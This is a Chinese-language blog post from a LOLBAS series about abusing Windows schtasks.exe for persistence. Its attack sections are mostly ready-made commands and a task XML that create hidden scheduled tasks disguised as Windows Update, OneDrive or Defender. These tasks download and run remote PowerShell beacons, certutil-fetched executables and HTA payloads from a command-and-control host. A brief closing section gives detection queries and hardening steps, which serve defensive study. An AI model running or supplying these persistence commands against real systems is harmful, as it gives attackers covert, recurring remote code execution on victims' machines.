【LOLBAS鐵人賽Day13】Schtasks.exe：排程任務的持續性攻擊技術

781 字

4 分鐘

- views

【LOLBAS鐵人賽Day13】Schtasks.exe：排程任務的持續性攻擊技術

2025-09-27

Research

LOLBAS

/

Windows

/

Security

Schtasks.exe 是 Windows 的排程任務管理工具，用來建立修改執行排定的工作
雖然這是正常的系統管理功能，但攻擊者也很喜歡用它來建立持續性機制，
讓惡意程式在特定時間或事件觸發時自動執行

排程任務架構#

任務排程器元件#

觸發器 (Trigger)：何時執行（時間事件開機等）
動作 (Action)：執行什麼（程式腳本發送郵件）
條件 (Condition)：執行條件（有電源網路連線等）
設定 (Settings)：行為設定（失敗重試執行時間限制等）

正常的排程任務使用#

1
:: 每日備份
2
schtasks /create /tn "DailyBackup" /tr "C:\Scripts\backup.bat" /sc daily /st 02:00
3

4
:: 開機時執行
5
schtasks /create /tn "StartupScript" /tr "C:\Scripts\init.bat" /sc onstart
6

7
:: 閒置時執行維護
8
schtasks /create /tn "Maintenance" /tr "C:\Scripts\cleanup.bat" /sc onidle /i 10

攻擊技術#

Step 1: 基本持續性建立#

1
:: 設定 C2 伺服器
2
set C2=<kali_ip>
3

4
:: 每小時執行一次
5
schtasks /create /tn "WindowsUpdate" /tr "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://%C2%:8080/beacon.ps1')" /sc hourly /f
6

7
:: 使用者登入時執行
8
schtasks /create /tn "OneDriveSync" /tr "cmd /c certutil -urlcache -f http://%C2%:8080/payload.exe %temp%\update.exe && %temp%\update.exe" /sc onlogon /f
9

10
:: 系統啟動時執行（需要管理員）
11
schtasks /create /tn "SystemHealthCheck" /tr "rundll32.exe shell32.dll,ShellExec_RunDLL powershell -enc <base64>" /sc onstart /ru SYSTEM /f

Step 2: 進階隱藏技巧#

偽裝成系統任務#

1
:: 使用類似系統的名稱
2
schtasks /create /tn "\Microsoft\Windows\NetTrace\GatherNetworkInfo" /tr "powershell -ep bypass -f C:\Windows\Temp\update.ps1" /sc daily /st 09:00 /f
3

4
:: 隱藏在現有路徑下
5
schtasks /create /tn "\Microsoft\Office\OfficeTelemetryAgent" /tr "mshta http://%C2%:8080/payload.hta" /sc hourly /f

XML 匯入方式（更彈性）#

建立 task.xml：

1
<?xml version="1.0" encoding="UTF-16"?>
2
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
3
  <RegistrationInfo>
4
    <Date>2024-01-01T00:00:00</Date>
5
    <Author>Microsoft Corporation</Author>
6
    <Description>Windows Defender Update</Description>
7
  </RegistrationInfo>
8
  <Triggers>
9
    <CalendarTrigger>
10
      <StartBoundary>2024-01-01T09:00:00</StartBoundary>
11
      <Repetition>
12
        <Interval>PT1H</Interval>
13
      </Repetition>
14
    </CalendarTrigger>
15
  </Triggers>
16
  <Principals>
17
    <Principal id="Author">
18
      <RunLevel>HighestAvailable</RunLevel>
19
    </Principal>
20
  </Principals>
21
  <Settings>
22
    <Hidden>true</Hidden>
23
    <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable>
24
    <WakeToRun>false</WakeToRun>
25
  </Settings>
26
  <Actions>
27
    <Exec>
28
      <Command>powershell.exe</Command>
29
      <Arguments>-w hidden -ep bypass -c "IEX(irm http://10.211.55.6:8080/beacon.ps1)"</Arguments>
30
    </Exec>
31
  </Actions>
32
</Task>

匯入：

1
schtasks /create /xml task.xml /tn "\Microsoft\Windows\Security\DefenderUpdate"

Step 3: 多層觸發機制#

1
:: 多重觸發條件
2
schtasks /create /tn "Updater" /tr "cmd /c calc.exe" /sc daily /st 09:00 /f
3
schtasks /change /tn "Updater" /tr "cmd /c calc.exe" /sc onlogon
4
schtasks /change /tn "Updater" /tr "cmd /c calc.exe" /sc onidle /i 10
5

6
:: 事件觸發（系統事件）
7
schtasks /create /tn "EventResponse" /tr "powershell -f C:\Scripts\response.ps1" /sc onevent /ec System /mo "*[System[EventID=7045]]" /f
8

9
:: WMI 事件觸發
10
$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -f C:\payload.ps1"
11
$CIMTrigger = Get-CimClass -Namespace ROOT/Microsoft/Windows/TaskScheduler -ClassName MSFT_TaskEventTrigger
12
$Trigger = New-CimInstance -CimClass $CIMTrigger -Property @{Enabled=$true; Subscription='<QueryList><Query Id="0"><Select Path="Security">*[System[(EventID=4688)]]</Select></Query></QueryList>'}
13
Register-ScheduledTask -TaskName "WMITrigger" -Action $Action -Trigger $Trigger

偵測&防禦#

檢查可疑任務#

1
# 列出所有執行 PowerShell 的任務
2
Get-ScheduledTask | Where-Object {
3
    $_.Actions.Execute -match "powershell" -or
4
    $_.Actions.Arguments -match "powershell"
5
} | Select-Object TaskName, TaskPath, State
6

7
# 檢查隱藏的任務
8
Get-ScheduledTask | Where-Object {
9
    $_.Settings.Hidden -eq $true
10
} | Select-Object TaskName, TaskPath
11

12
# 檢查以 SYSTEM 執行的任務
13
Get-ScheduledTask | Where-Object {
14
    $_.Principal.UserId -eq "SYSTEM"
15
} | Select-Object TaskName, TaskPath, State

防禦建議#

1
# 稽核排程任務建立（Event ID 4698）
2
auditpol /set /subcategory:"Other Object Access Events" /success:enable /failure:enable
3

4
# 限制 schtasks 使用
5
$acl = Get-Acl "C:\Windows\System32\schtasks.exe"
6
$permission = "BUILTIN\Users","ReadAndExecute","Deny"
7
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
8
$acl.SetAccessRule($accessRule)
9
Set-Acl "C:\Windows\System32\schtasks.exe" $acl